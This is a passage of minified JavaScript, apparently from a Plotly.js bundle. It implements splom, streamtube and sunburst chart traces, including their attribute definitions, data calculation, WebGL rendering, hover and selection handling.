m=d(c,b._diag[E][1]);m&&(p[1]=m.r2l(m.range[0]),p[3]=m.r2l(m.range[1]))}h.selectBatch.length||h.unselectBatch.length?h.matrix.update({ranges:T},{ranges:T}):h.matrix.update({ranges:T})}function u(c){var b=c._fullLayout,h=b._glcanvas.data()[0].regl,i=b._splomGrid;i||(i=b._splomGrid=M(h)),i.update(s(c))}function s(c){var b=c._context.plotGlPixelRatio,h=c._fullLayout,i=h._size,v=[0,0,h.width*b,h.height*b],T={},w;function E(G,J,q,ne,fe,X){q*=b,ne*=b,fe*=b,X*=b;var W=J[G+"color"],V=J[G+"width"],Y=String(W+V);Y in T?T[Y].data.push(NaN,NaN,q,ne,fe,X):T[Y]={data:[q,ne,fe,X],join:"rect",thickness:V*b,color:W,viewport:v,range:v,overlay:!1}}for(w in h._splomSubplots){var p=h._plots[w],A=p.xaxis,m=p.yaxis,n=A._gridVals,C=m._gridVals,x=A._offset,I=A._length,k=m._length,B=i.b+m.domain[0]*i.h,_=-m._m,F=-_*m.r2l(m.range[0],m.calendar),O,z;if(A.showgrid)for(w=0;w<n.length;w++)O=x+A.l2p(n[w].x),E("grid",A,O,B,O,B+k);if(m.showgrid)for(w=0;w<C.length;w++)z=B+F+_*C[w].x,E("grid",m,x,z,x+I,z);g(c,A,m)&&(O=x+A.l2p(0),E("zeroline",A,O,B,O,B+k)),g(c,m,A)&&(z=B+F+0,E("zeroline",m,x,z,x+I,z))}var N=[];for(w in T)N.push(T[w]);return N}function y(c,b,h,i){var v={},T;if(i._splomScenes){for(T=0;T<c.length;T++){var w=c[T];w.type==="splom"&&(v[w.uid]=1)}for(T=0;T<h.length;T++){var E=h[T];if(!v[E.uid]){var p=i._splomScenes[E.uid];p&&p.destroy&&p.destroy(),i._splomScenes[E.uid]=null,delete i._splomScenes[E.uid]}}}Object.keys(i._splomScenes||{}).length===0&&delete i._splomScenes,i._splomGrid&&!b._hasOnlyLargeSploms&&i._hasOnlyLargeSploms&&(i._splomGrid.destroy(),i._splomGrid=null,delete i._splomGrid),S.clean(c,b,h,i)}te.exports={name:t,attr:S.attr,attrRegex:S.attrRegex,layoutAttributes:S.layoutAttributes,supplyLayoutDefaults:S.supplyLayoutDefaults,drawFramework:S.drawFramework,plot:f,drag:a,updateGrid:u,clean:y,updateFx:S.updateFx,toSVG:S.toSVG,reglPrecompiled:r}},87625:function(te,Z,e){var M=e(71828),P=e(41675),o=e(47761).calcMarkerSize,L=e(47761).calcAxisExpansion,S=e(36922),d=e(19635).markerSelection,g=e(19635).markerStyle,t=e(10164),r=e(50606).BADNUM,f=e(78232).TOO_MANY_POINTS;te.exports=function(l,u){var s=u.dimensions,y=u._length,c={},b=c.cdata=[],h=c.data=[],i=u._visibleDims=[],v,T,w,E,p;function A(I,k){for(var B=I.makeCalcdata({v:k.values,vcalendar:u.calendar},"v"),_=0;_<B.length;_++)B[_]=B[_]===r?NaN:B[_];b.push(B),h.push(I.type==="log"?M.simpleMap(B,I.c2l):B)}for(v=0;v<s.length;v++)if(w=s[v],w.visible){if(E=P.getFromId(l,u._diag[v][0]),p=P.getFromId(l,u._diag[v][1]),E&&p&&E.type!==p.type){M.log("Skipping splom dimension "+v+" with conflicting axis types");continue}E?(A(E,w),p&&p.type==="category"&&(p._categories=E._categories.slice())):A(p,w),i.push(v)}S(l,u),M.extendFlat(c,g(l,u));var m=b.length,n=m*y>f,C;for(n?C=c.sizeAvg||Math.max(c.size,3):C=o(u,y),T=0;T<i.length;T++)v=i[T],w=s[v],E=P.getFromId(l,u._diag[v][0])||{},p=P.getFromId(l,u._diag[v][1])||{},L(l,u,E,p,b[T],b[T],C);var x=t(l,u);return x.matrix||(x.matrix=!0),x.matrixOptions=c,x.selectedOptions=d(l,u,u.selected),x.unselectedOptions=d(l,u,u.unselected),[{x:!1,y:!1,t:{},trace:u}]}},25784:function(te,Z,e){var M=e(71828),P=e(85501),o=e(46880),L=e(34098),S=e(49508),d=e(94397),g=e(68645).isOpenSymbol;te.exports=function(a,l,u,s){function y(E,p){return M.coerce(a,l,o,E,p)}var c=P(a,l,{name:"dimensions",handleItemDefaults:t}),b=y("diagonal.visible"),h=y("showupperhalf"),i=y("showlowerhalf"),v=d(l,c,"values");if(!v||!b&&!h&&!i){l.visible=!1;return}y("text"),y("hovertext"),y("hovertemplate"),y("xhoverformat"),y("yhoverformat"),S(a,l,u,s,y,{noAngleRef:!0,noStandOff:!0});var T=g(l.marker.symbol),w=L.isBubble(l);y("marker.line.width",T||w?1:0),r(a,l,s,y),M.coerceSelectionMarkerOpacity(l,y)};function t(f,a){function l(s,y){return M.coerce(f,a,o.dimensions,s,y)}l("label");var u=l("values");u&&u.length?l("visible"):a.visible=!1,l("axis.type"),l("axis.matches")}function r(f,a,l,u){var s=a.dimensions,y=s.length,c=a.showupperhalf,b=a.showlowerhalf,h=a.diagonal.visible,i,v,T=new Array(y),w=new Array(y);for(i=0;i<y;i++){var E=i?i+1:"";T[i]="x"+E,w[i]="y"+E}var p=u("xaxes",T),A=u("yaxes",w),m=a._diag=new Array(y);a._xaxes={},a._yaxes={};var n=[],C=[];function x(G,J,q,ne){if(G){var fe=G.charAt(0),X=l._splomAxes[fe];if(a["_"+fe+"axes"][G]=1,ne.push(G),!(G in X)){var W=X[G]={};q&&(W.label=q.label||"",q.visible&&q.axis&&(q.axis.type&&(W.type=q.axis.type),q.axis.matches&&(W.matches=J)))}}}var I=!h&&!b,k=!h&&!c;for(a._axesDim={},i=0;i<y;i++){var B=s[i],_=i===0,F=i===y-1,O=_&&I||F&&k?void 0:p[i],z=_&&k||F&&I?void 0:A[i];x(O,z,B,n),x(z,O,B,C),m[i]=[O,z],a._axesDim[O]=i,a._axesDim[z]=i}for(i=0;i<n.length;i++)for(v=0;v<C.length;v++){var N=n[i]+C[v];(i>v&&c||i<v&&b||i===v&&(h||!b||!c))&&(l._splomSubplots[N]=1)}(!b||!h&&c&&b)&&(l._splomGridDflt.xside="bottom",l._splomGridDflt.yside="left")}},28801:function(te,Z,e){var M=e(71828),P=e(36922),o=e(19635).markerStyle;te.exports=function(S,d){var g=d.trace,t=S._fullLayout._splomScenes[g.uid];if(t){P(S,g),M.extendFlat(t.matrixOptions,o(S,g));var r=M.extendFlat({},t.matrixOptions,t.viewOpts);t.matrix.update(r,null)}}},35948:function(te,Z){Z.getDimIndex=function(M,P){for(var o=P._id,L=o.charAt(0),S={x:0,y:1}[L],d=M._visibleDims,g=0;g<d.length;g++){var t=d[g];if(M._diag[t][S]===o)return g}return!1}},8567:function(te,Z,e){var M=e(35948),P=e(20794).calcHover;function o(L,S,d){var g=L.cd,t=g[0].trace,r=L.scene,f=r.matrixOptions.cdata,a=L.xa,l=L.ya,u=a.c2p(S),s=l.c2p(d),y=L.distance,c=M.getDimIndex(t,a),b=M.getDimIndex(t,l);if(c===!1||b===!1)return[L];for(var h=f[c],i=f[b],v,T,w=y,E=0;E<h.length;E++){var p=h[E],A=i[E],m=a.c2p(p)-u,n=l.c2p(A)-s,C=Math.sqrt(m*m+n*n);C<w&&(w=T=C,v=E)}return L.index=v,L.distance=w,L.dxy=T,v===void 0?[L]:[P(L,h,i,t)]}te.exports={hoverPoints:o}},6419:function(te,Z,e){var M=e(65017);M.basePlotModule=e(16947),te.exports=M},79410:function(te,Z,e){var M=e(60487),P=e(71828),o=e(41675),L=e(64505).selectMode;te.exports=function(g,t,r){if(r.length)for(var f=0;f<r.length;f++)S(g,r[f][0])};function S(d,g){var t=d._fullLayout,r=t._size,f=g.trace,a=g.t,l=t._splomScenes[f.uid],u=l.matrixOptions,s=u.cdata,y=t._glcanvas.data()[0].regl,c=t.dragmode,b,h,i,v,T;if(s.length!==0){u.lower=f.showupperhalf,u.upper=f.showlowerhalf,u.diagonal=f.diagonal.visible;var w=f._visibleDims,E=s.length,p=l.viewOpts={};for(p.ranges=new Array(E),p.domains=new Array(E),T=0;T<w.length;T++){i=w[T];var A=p.ranges[T]=new Array(4),m=p.domains[T]=new Array(4);b=o.getFromId(d,f._diag[i][0]),b&&(A[0]=b._rl[0],A[2]=b._rl[1],m[0]=b.domain[0],m[2]=b.domain[1]),h=o.getFromId(d,f._diag[i][1]),h&&(A[1]=h._rl[0],A[3]=h._rl[1],m[1]=h.domain[0],m[3]=h.domain[1])}var n=d._context.plotGlPixelRatio,C=r.l*n,x=r.b*n,I=r.w*n,k=r.h*n;p.viewport=[C,x,I+C,k+x],l.matrix===!0&&(l.matrix=M(y));var B=t.clickmode.indexOf("select")>-1,_=L(c)||!!f.selectedpoints||B,F=!0;if(_){var O=f._length;if(f.selectedpoints){l.selectBatch=f.selectedpoints;var z=f.selectedpoints,N={};for(i=0;i<z.length;i++)N[z[i]]=!0;var G=[];for(i=0;i<O;i++)N[i]||G.push(i);l.unselectBatch=G}var J=a.xpx=new Array(E),q=a.ypx=new Array(E);for(T=0;T<w.length;T++){if(i=w[T],b=o.getFromId(d,f._diag[i][0]),b)for(J[T]=new Array(O),v=0;v<O;v++)J[T][v]=b.c2p(s[T][v]);if(h=o.getFromId(d,f._diag[i][1]),h)for(q[T]=new Array(O),v=0;v<O;v++)q[T][v]=h.c2p(s[T][v])}if(l.selectBatch.length||l.unselectBatch.length){var ne=P.extendFlat({},u,l.unselectedOptions,p),fe=P.extendFlat({},u,l.selectedOptions,p);l.matrix.update(ne,fe),F=!1}}else a.xpx=a.ypx=null;if(F){var X=P.extendFlat({},u,p);l.matrix.update(X,null)}}}},10164:function(te,Z,e){var M=e(71828);te.exports=function(o,L){var S=o._fullLayout,d=L.uid,g=S._splomScenes;g||(g=S._splomScenes={});var t={dirty:!0,selectBatch:[],unselectBatch:[]},r={matrix:!1,selectBatch:[],unselectBatch:[]},f=g[L.uid];return f||(f=g[d]=M.extendFlat({},t,r),f.draw=function(){f.matrix&&f.matrix.draw&&(f.selectBatch.length||f.unselectBatch.length?f.matrix.draw(f.unselectBatch,f.selectBatch):f.matrix.draw()),f.dirty=!1},f.destroy=function(){f.matrix&&f.matrix.destroy&&f.matrix.destroy(),f.matrixOptions=null,f.selectBatch=null,f.unselectBatch=null,f=null}),f.dirty||M.extendFlat(f,t),f}},8689:function(te,Z,e){var M=e(71828),P=M.pushUnique,o=e(34098),L=e(35948);te.exports=function(d,g){var t=d.cd,r=t[0].trace,f=t[0].t,a=d.scene,l=a.matrixOptions.cdata,u=d.xaxis,s=d.yaxis,y=[];if(!a)return y;var c=!o.hasMarkers(r)&&!o.hasText(r);if(r.visible!==!0||c)return y;var b=L.getDimIndex(r,u),h=L.getDimIndex(r,s);if(b===!1||h===!1)return y;var i=f.xpx[b],v=f.ypx[h],T=l[b],w=l[h],E=(d.scene.selectBatch||[]).slice(),p=[];if(g!==!1&&!g.degenerate)for(var A=0;A<T.length;A++)g.contains([i[A],v[A]],null,A,d)?(y.push({pointNumber:A,x:T[A],y:w[A]}),P(E,A)):E.indexOf(A)!==-1?P(E,A):p.push(A);var m=a.matrixOptions;return!E.length&&!p.length?a.matrix.update(m,null):!a.selectBatch.length&&!a.unselectBatch.length&&a.matrix.update(a.unselectedOptions,M.extendFlat({},m,a.selectedOptions,a.viewOpts)),a.selectBatch=E,a.unselectBatch=p,y}},21850:function(te,Z,e){var M=e(50693),P=e(12663).axisHoverFormat,o=e(5386).fF,L=e(2418),S=e(9012),d=e(1426).extendFlat,g={x:{valType:"data_array",editType:"calc+clearAxisTypes"},y:{valType:"data_array",editType:"calc+clearAxisTypes"},z:{valType:"data_array",editType:"calc+clearAxisTypes"},u:{valType:"data_array",editType:"calc"},v:{valType:"data_array",editType:"calc"},w:{valType:"data_array",editType:"calc"},starts:{x:{valType:"data_array",editType:"calc"},y:{valType:"data_array",editType:"calc"},z:{valType:"data_array",editType:"calc"},editType:"calc"},maxdisplayed:{valType:"integer",min:0,dflt:1e3,editType:"calc"},sizeref:{valType:"number",editType:"calc",min:0,dflt:1},text:{valType:"string",dflt:"",editType:"calc"},hovertext:{valType:"string",dflt:"",editType:"calc"},hovertemplate:o({editType:"calc"},{keys:["tubex","tubey","tubez","tubeu","tubev","tubew","norm","divergence"]}),uhoverformat:P("u",1),vhoverformat:P("v",1),whoverformat:P("w",1),xhoverformat:P("x"),yhoverformat:P("y"),zhoverformat:P("z"),showlegend:d({},S.showlegend,{dflt:!1})};d(g,M("",{colorAttr:"u/v/w norm",showScaleDflt:!0,editTypeOverride:"calc"}));var t=["opacity","lightposition","lighting"];t.forEach(function(r){g[r]=L[r]}),g.hoverinfo=d({},S.hoverinfo,{editType:"calc",flags:["x","y","z","u","v","w","norm","divergence","text","name"],dflt:"x+y+z+norm+text+name"}),g.transforms=void 0,te.exports=g},88489:function(te,Z,e){var M=e(71828),P=e(78803);function o(g,t){t._len=Math.min(t.u.length,t.v.length,t.w.length,t.x.length,t.y.length,t.z.length),t._u=d(t.u,t._len),t._v=d(t.v,t._len),t._w=d(t.w,t._len),t._x=d(t.x,t._len),t._y=d(t.y,t._len),t._z=d(t.z,t._len);var r=L(t);t._gridFill=r.fill,t._Xs=r.Xs,t._Ys=r.Ys,t._Zs=r.Zs,t._len=r.len;var f=0,a,l,u;t.starts&&(a=d(t.starts.x||[]),l=d(t.starts.y||[]),u=d(t.starts.z||[]),f=Math.min(a.length,l.length,u.length)),t._startsX=a||[],t._startsY=l||[],t._startsZ=u||[];var s=0,y=1/0,c;for(c=0;c<t._len;c++){var b=t._u[c],h=t._v[c],i=t._w[c],v=Math.sqrt(b*b+h*h+i*i);s=Math.max(s,v),y=Math.min(y,v)}for(P(g,t,{vals:[y,s],containerStr:"",cLetter:"c"}),c=0;c<f;c++){var T=a[c];r.xMax=Math.max(r.xMax,T),r.xMin=Math.min(r.xMin,T);var w=l[c];r.yMax=Math.max(r.yMax,w),r.yMin=Math.min(r.yMin,w);var E=u[c];r.zMax=Math.max(r.zMax,E),r.zMin=Math.min(r.zMin,E)}t._slen=f,t._normMax=s,t._xbnds=[r.xMin,r.xMax],t._ybnds=[r.yMin,r.yMax],t._zbnds=[r.zMin,r.zMax]}function L(g){var t=g._x,r=g._y,f=g._z,a=g._len,l,u,s,y=-1/0,c=1/0,b=-1/0,h=1/0,i=-1/0,v=1/0,T="",w,E,p,A,m,n,C,x,I;for(a&&(A=t[0],n=r[0],x=f[0]),a>1&&(m=t[a-1],C=r[a-1],I=f[a-1]),l=0;l<a;l++)y=Math.max(y,t[l]),c=Math.min(c,t[l]),b=Math.max(b,r[l]),h=Math.min(h,r[l]),i=Math.max(i,f[l]),v=Math.min(v,f[l]),!w&&t[l]!==A&&(w=!0,T+="x"),!E&&r[l]!==n&&(E=!0,T+="y"),!p&&f[l]!==x&&(p=!0,T+="z");w||(T+="x"),E||(T+="y"),p||(T+="z");var k=S(g._x),B=S(g._y),_=S(g._z);T=T.replace("x",(A>m?"-":"+")+"x"),T=T.replace("y",(n>C?"-":"+")+"y"),T=T.replace("z",(x>I?"-":"+")+"z");var F=function(){a=0,k=[],B=[],_=[]};(!a||a<k.length*B.length*_.length)&&F();var O=function(le){return le==="x"?t:le==="y"?r:f},z=function(le){return le==="x"?k:le==="y"?B:_},N=function(le){return le[a-1]<le[0]?-1:1},G=O(T[1]),J=O(T[3]),q=O(T[5]),ne=z(T[1]).length,fe=z(T[3]).length,X=z(T[5]).length,W=!1,V=function(le,pe,we){return ne*(fe*le+pe)+we},Y=N(O(T[1])),Q=N(O(T[3])),ie=N(O(T[5]));for(l=0;l<X-1;l++){for(u=0;u<fe-1;u++){for(s=0;s<ne-1;s++){var j=V(l,u,s),K=V(l,u,s+1),oe=V(l,u+1,s),re=V(l+1,u,s);if((!(G[j]*Y<G[K]*Y)||!(J[j]*Q<J[oe]*Q)||!(q[j]*ie<q[re]*ie))&&(W=!0),W)break}if(W)break}if(W)break}return W&&(M.warn("Encountered arbitrary coordinates! Unable to input data grid."),F()),{xMin:c,yMin:h,zMin:v,xMax:y,yMax:b,zMax:i,Xs:k,Ys:B,Zs:_,len:a,fill:T}}function S(g){return M.distinctVals(g).vals}function d(g,t){if(t===void 0&&(t=g.length),M.isTypedArray(g))return g.subarray(0,t);for(var r=[],f=0;f<t;f++)r[f]=+g[f];return r}te.exports={calc:o,filter:d,processGrid:L}},90154:function(te,Z,e){var M=e(9330).gl_streamtube3d,P=M.createTubeMesh,o=e(71828),L=e(81697).parseColorScale,S=e(21081).extractOpts,d=e(90060),g={xaxis:0,yaxis:1,zaxis:2};function t(s,y){this.scene=s,this.uid=y,this.mesh=null,this.data=null}var r=t.prototype;r.handlePick=function(s){var y=this.scene.fullSceneLayout,c=this.scene.dataScale;function b(v,T){var w=y[T],E=c[g[T]];return w.l2c(v)/E}if(s.object===this.mesh){var h=s.data.position,i=s.data.velocity;return s.traceCoordinate=[b(h[0],"xaxis"),b(h[1],"yaxis"),b(h[2],"zaxis"),b(i[0],"xaxis"),b(i[1],"yaxis"),b(i[2],"zaxis"),s.data.intensity*this.data._normMax,s.data.divergence],s.textLabel=this.data.hovertext||this.data.text,!0}};function f(s){var y=s.length,c;return y>2?c=s.slice(1,y-1):y===2?c=[(s[0]+s[1])/2]:c=s,c}function a(s){var y=s.length;return y===1?[.5,.5]:[s[1]-s[0],s[y-1]-s[y-2]]}function l(s,y){var c=s.fullSceneLayout,b=s.dataScale,h=y._len,i={};function v(fe,X){var W=c[X],V=b[g[X]];return o.simpleMap(fe,function(Y){return W.d2l(Y)*V})}if(i.vectors=d(v(y._u,"xaxis"),v(y._v,"yaxis"),v(y._w,"zaxis"),h),!h)return{positions:[],cells:[]};var T=v(y._Xs,"xaxis"),w=v(y._Ys,"yaxis"),E=v(y._Zs,"zaxis");i.meshgrid=[T,w,E],i.gridFill=y._gridFill;var p=y._slen;if(p)i.startingPositions=d(v(y._startsX,"xaxis"),v(y._startsY,"yaxis"),v(y._startsZ,"zaxis"));else{for(var A=w[0],m=f(T),n=f(E),C=new Array(m.length*n.length),x=0,I=0;I<m.length;I++)for(var k=0;k<n.length;k++)C[x++]=[m[I],A,n[k]];i.startingPositions=C}i.colormap=L(y),i.tubeSize=y.sizeref,i.maxLength=y.maxdisplayed;var B=v(y._xbnds,"xaxis"),_=v(y._ybnds,"yaxis"),F=v(y._zbnds,"zaxis"),O=a(T),z=a(w),N=a(E),G=[[B[0]-O[0],_[0]-z[0],F[0]-N[0]],[B[1]+O[1],_[1]+z[1],F[1]+N[1]]],J=M(i,G),q=S(y);J.vertexIntensityBounds=[q.min/y._normMax,q.max/y._normMax];var ne=y.lightposition;return J.lightPosition=[ne.x,ne.y,ne.z],J.ambient=y.lighting.ambient,J.diffuse=y.lighting.diffuse,J.specular=y.lighting.specular,J.roughness=y.lighting.roughness,J.fresnel=y.lighting.fresnel,J.opacity=y.opacity,y._pad=J.tubeScale*y.sizeref*2,J}r.update=function(s){this.data=s;var y=l(this.scene,s);this.mesh.update(y)},r.dispose=function(){this.scene.glplot.remove(this.mesh),this.mesh.dispose()};function u(s,y){var c=s.glplot.gl,b=l(s,y),h=P(c,b),i=new t(s,y.uid);return i.mesh=h,i.data=y,h._trace=i,s.glplot.add(h),i}te.exports=u},22459:function(te,Z,e){var M=e(71828),P=e(1586),o=e(21850);te.exports=function(S,d,g,t){function r(c,b){return M.coerce(S,d,o,c,b)}var f=r("u"),a=r("v"),l=r("w"),u=r("x"),s=r("y"),y=r("z");if(!f||!f.length||!a||!a.length||!l||!l.length||!u||!u.length||!s||!s.length||!y||!y.length){d.visible=!1;return}r("starts.x"),r("starts.y"),r("starts.z"),r("maxdisplayed"),r("sizeref"),r("lighting.ambient"),r("lighting.diffuse"),r("lighting.specular"),r("lighting.roughness"),r("lighting.fresnel"),r("lightposition.x"),r("lightposition.y"),r("lightposition.z"),P(S,d,t,r,{prefix:"",cLetter:"c"}),r("text"),r("hovertext"),r("hovertemplate"),r("uhoverformat"),r("vhoverformat"),r("whoverformat"),r("xhoverformat"),r("yhoverformat"),r("zhoverformat"),d._length=null}},61510:function(te,Z,e){te.exports={moduleType:"trace",name:"streamtube",basePlotModule:e(58547),categories:["gl3d","showLegend"],attributes:e(21850),supplyDefaults:e(22459),colorbar:{min:"cmin",max:"cmax"},calc:e(88489).calc,plot:e(90154),eventData:function(M,P){return M.tubex=M.x,M.tubey=M.y,M.tubez=M.z,M.tubeu=P.traceCoordinate[3],M.tubev=P.traceCoordinate[4],M.tubew=P.traceCoordinate[5],M.norm=P.traceCoordinate[6],M.divergence=P.traceCoordinate[7],delete M.x,delete M.y,delete M.z,M},meta:{}}},57564:function(te,Z,e){var M=e(9012),P=e(5386).fF,o=e(5386).si,L=e(50693),S=e(27670).Y,d=e(34e3),g=e(7055),t=e(1426).extendFlat,r=e(79952).u;te.exports={labels:{valType:"data_array",editType:"calc"},parents:{valType:"data_array",editType:"calc"},values:{valType:"data_array",editType:"calc"},branchvalues:{valType:"enumerated",values:["remainder","total"],dflt:"remainder",editType:"calc"},count:{valType:"flaglist",flags:["branches","leaves"],dflt:"leaves",editType:"calc"},level:{valType:"any",editType:"plot",anim:!0},maxdepth:{valType:"integer",editType:"plot",dflt:-1},marker:t({colors:{valType:"data_array",editType:"calc"},line:{color:t({},d.marker.line.color,{dflt:null}),width:t({},d.marker.line.width,{dflt:1}),editType:"calc"},pattern:r,editType:"calc"},L("marker",{colorAttr:"colors",anim:!1})),leaf:{opacity:{valType:"number",editType:"style",min:0,max:1},editType:"plot"},text:d.text,textinfo:{valType:"flaglist",flags:["label","text","value","current path","percent root","percent entry","percent parent"],extras:["none"],editType:"plot"},texttemplate:o({editType:"plot"},{keys:g.eventDataKeys.concat(["label","value"])}),hovertext:d.hovertext,hoverinfo:t({},M.hoverinfo,{flags:["label","text","value","name","current path","percent root","percent entry","percent parent"],dflt:"label+text+value+name"}),hovertemplate:P({},{keys:g.eventDataKeys}),textfont:d.textfont,insidetextorientation:d.insidetextorientation,insidetextfont:d.insidetextfont,outsidetextfont:t({},d.outsidetextfont,{}),rotation:{valType:"angle",dflt:0,editType:"plot"},sort:d.sort,root:{color:{valType:"color",editType:"calc",dflt:"rgba(0,0,0,0)"},editType:"calc"},domain:S({name:"sunburst",trace:!0,editType:"calc"})}},66888:function(te,Z,e){var M=e(74875);Z.name="sunburst",Z.plot=function(P,o,L,S){M.plotBasePlot(Z.name,P,o,L,S)},Z.clean=function(P,o,L,S){M.cleanBasePlot(Z.name,P,o,L,S)}},52147:function(te,Z,e){var M=e(674),P=e(92770),o=e(71828),L=e(21081).makeColorScaleFuncFromTrace,S=e(32354).makePullColorFn,d=e(32354).generateExtendedColors,g=e(21081).calc,t=e(50606).ALMOST_EQUAL,r={},f={},a={};Z.calc=function(u,s){var y=u._fullLayout,c=s.ids,b=o.isArrayOrTypedArray(c),h=s.labels,i=s.parents,v=s.values,T=o.isArrayOrTypedArray(v),w=[],E={},p={},A=function(Y,Q){E[Y]?E[Y].push(Q):E[Y]=[Q],p[Q]=1},m=function(Y){return Y||typeof Y=="number"},n=function(Y){return!T||P(v[Y])&&v[Y]>=0},C,x,I;b?(C=Math.min(c.length,i.length),x=function(Y){return m(c[Y])&&n(Y)},I=function(Y){return String(c[Y])}):(C=Math.min(h.length,i.length),x=function(Y){return m(h[Y])&&n(Y)},I=function(Y){return String(h[Y])}),T&&(C=Math.min(C,v.length));for(var k=0;k<C;k++)if(x(k)){var B=I(k),_=m(i[k])?String(i[k]):"",F={i:k,id:B,pid:_,label:m(h[k])?String(h[k]):""};T&&(F.v=+v[k]),w.push(F),A(_,B)}if(E[""]){if(E[""].length>1){for(var N=o.randstr(),G=0;G<w.length;G++)w[G].pid===""&&(w[G].pid=N);w.unshift({hasMultipleRoots:!0,id:N,pid:"",label:""})}}else{var O=[],z;for(z in E)p[z]||O.push(z);if(O.length===1)z=O[0],w.unshift({hasImpliedRoot:!0,id:z,pid:"",label:z});else return o.warn(["Multiple implied roots, cannot build",s.type,"hierarchy of",s.name+".","These roots include:",O.join(", ")].join(" "))}var J;try{J=M.stratify().id(function(Y){return Y.id}).parentId(function(Y){return Y.pid})(w)}catch(Y){return o.warn(["Failed to build",s.type,"hierarchy of",s.name+".","Error:",Y.message].join(" "))}var q=M.hierarchy(J),ne=!1;if(T)switch(s.branchvalues){case"remainder":q.sum(function(Y){return Y.data.v});break;case"total":q.each(function(Y){var Q=Y.data.data,ie=Q.v;if(Y.children){var j=Y.children.reduce(function(K,oe){return K+oe.data.data.v},0);if((Q.hasImpliedRoot||Q.hasMultipleRoots)&&(ie=j),ie<j*t)return ne=!0,o.warn(["Total value for node",Y.data.data.id,"of",s.name,"is smaller than the sum of its children.",`
parent value =`,ie,`
children sum =`,j].join(" "))}Y.value=ie});break}else l(q,s,{branches:s.count.indexOf("branches")!==-1,leaves:s.count.indexOf("leaves")!==-1});if(!ne){s.sort&&q.sort(function(Y,Q){return Q.value-Y.value});var fe,X,W=s.marker.colors||[],V=!!W.length;return s._hasColorscale?(V||(W=T?s.values:s._values),g(u,s,{vals:W,containerStr:"marker",cLetter:"c"}),X=L(s.marker)):fe=S(y["_"+s.type+"colormap"]),q.each(function(Y){var Q=Y.data.data;Q.color=s._hasColorscale?X(W[Q.i]):fe(W[Q.i],Q.id)}),w[0].hierarchy=q,w}},Z._runCrossTraceCalc=function(u,s){var y=s._fullLayout,c=s.calcdata,b=y[u+"colorway"],h=y["_"+u+"colormap"];y["extend"+u+"colors"]&&(b=d(b,u==="icicle"?a:u==="treemap"?f:r));var i=0,v;function T(A){var m=A.data.data,n=m.id;m.color===!1&&(h[n]?m.color=h[n]:A.parent?A.parent.parent?m.color=A.parent.data.data.color:(h[n]=m.color=b[i%b.length],i++):m.color=v)}for(var w=0;w<c.length;w++){var E=c[w],p=E[0];p.trace.type===u&&p.hierarchy&&(v=p.trace.root.color,p.hierarchy.each(T))}},Z.crossTraceCalc=function(u){return Z._runCrossTraceCalc("sunburst",u)};function l(u,s,y){var c=0,b=u.children;if(b){for(var h=b.length,i=0;i<h;i++)c+=l(b[i],s,y);y.branches&&c++}else y.leaves&&c++;return u.value=u.data.data.value=c,s._values||(s._values=[]),s._values[u.data.data.i]=c,c}},7055:function(te){te.exports={CLICK_TRANSITION_TIME:750,CLICK_TRANSITION_EASING:"linear",eventDataKeys:["currentPath","root","entry","percentRoot","percentEntry","percentParent"]}},17094:function(te,Z,e){var M=e(71828),P=e(57564),o=e(27670).c,L=e(90769).handleText,S=e(37434).handleMarkerDefaults,d=e(21081),g=d.hasColorscale,t=d.handleDefaults;te.exports=function(f,a,l,u){function s(T,w){return M.coerce(f,a,P,T,w)}var y=s("labels"),c=s("parents");if(!y||!y.length||!c||!c.length){a.visible=!1;return}var b=s("values");b&&b.length?s("branchvalues"):s("count"),s("level"),s("maxdepth"),S(f,a,u,s);var h=a._hasColorscale=g(f,"marker","colors")||(f.marker||{}).coloraxis;h&&t(f,a,u,s,{prefix:"marker.",cLetter:"c"}),s("leaf.opacity",h?1:.7);var i=s("text");s("texttemplate"),a.texttemplate||s("textinfo",Array.isArray(i)?"text+label":"label"),s("hovertext"),s("hovertemplate");var v="auto";L(f,a,u,s,v,{moduleHasSelected:!1,moduleHasUnselected:!1,moduleHasConstrain:!1,moduleHasCliponaxis:!1,moduleHasTextangle:!1,moduleHasInsideanchor:!1}),s("insidetextorientation"),s("sort"),s("rotation"),s("root.color"),o(a,u,s),a._length=null}},43467:function(te,Z,e){var M=e(91424),P=e(7901);te.exports=function(L,S,d,g,t){var r=S.data.data,f=r.i,a=t||r.color;if(f>=0){S.i=r.i;var l=d.marker;l.pattern?(!l.colors||!l.pattern.shape)&&(l.color=a,S.color=a):(l.color=a,S.color=a),M.pointStyle(L,d,g,S)}else P.fill(L,a)}},83523:function(te,Z,e){var M=e(39898),P=e(73972),o=e(23469).appendArrayPointValue,L=e(30211),S=e(71828),d=e(11086),g=e(2791),t=e(53581),r=t.formatPieValue;te.exports=function(l,u,s,y,c){var b=y[0],h=b.trace,i=b.hierarchy,v=h.type==="sunburst",T=h.type==="treemap"||h.type==="icicle";"_hasHoverLabel"in h||(h._hasHoverLabel=!1),"_hasHoverEvent"in h||(h._hasHoverEvent=!1);var w=function(A){var m=s._fullLayout;if(!(s._dragging||m.hovermode===!1)){var n=s._fullData[h.index],C=A.data.data,x=C.i,I=g.isHierarchyRoot(A),k=g.getParent(i,A),B=g.getValue(A),_=function(K){return S.castOption(n,x,K)},F=_("hovertemplate"),O=L.castHoverinfo(n,m,x),z=m.separators,N;if(F||O&&O!=="none"&&O!=="skip"){var G,J;v&&(G=b.cx+A.pxmid[0]*(1-A.rInscribed),J=b.cy+A.pxmid[1]*(1-A.rInscribed)),T&&(G=A._hoverX,J=A._hoverY);var q={},ne=[],fe=[],X=function(K){return ne.indexOf(K)!==-1};O&&(ne=O==="all"?n._module.attributes.hoverinfo.flags:O.split("+")),q.label=C.label,X("label")&&q.label&&fe.push(q.label),C.hasOwnProperty("v")&&(q.value=C.v,q.valueLabel=r(q.value,z),X("value")&&fe.push(q.valueLabel)),q.currentPath=A.currentPath=g.getPath(A.data),X("current path")&&!I&&fe.push(q.currentPath);var W,V=[],Y=function(){V.indexOf(W)===-1&&(fe.push(W),V.push(W))};q.percentParent=A.percentParent=B/g.getValue(k),q.parent=A.parentString=g.getPtLabel(k),X("percent parent")&&(W=g.formatPercent(q.percentParent,z)+" of "+q.parent,Y()),q.percentEntry=A.percentEntry=B/g.getValue(u),q.entry=A.entry=g.getPtLabel(u),X("percent entry")&&!I&&!A.onPathbar&&(W=g.formatPercent(q.percentEntry,z)+" of "+q.entry,Y()),q.percentRoot=A.percentRoot=B/g.getValue(i),q.root=A.root=g.getPtLabel(i),X("percent root")&&!I&&(W=g.formatPercent(q.percentRoot,z)+" of 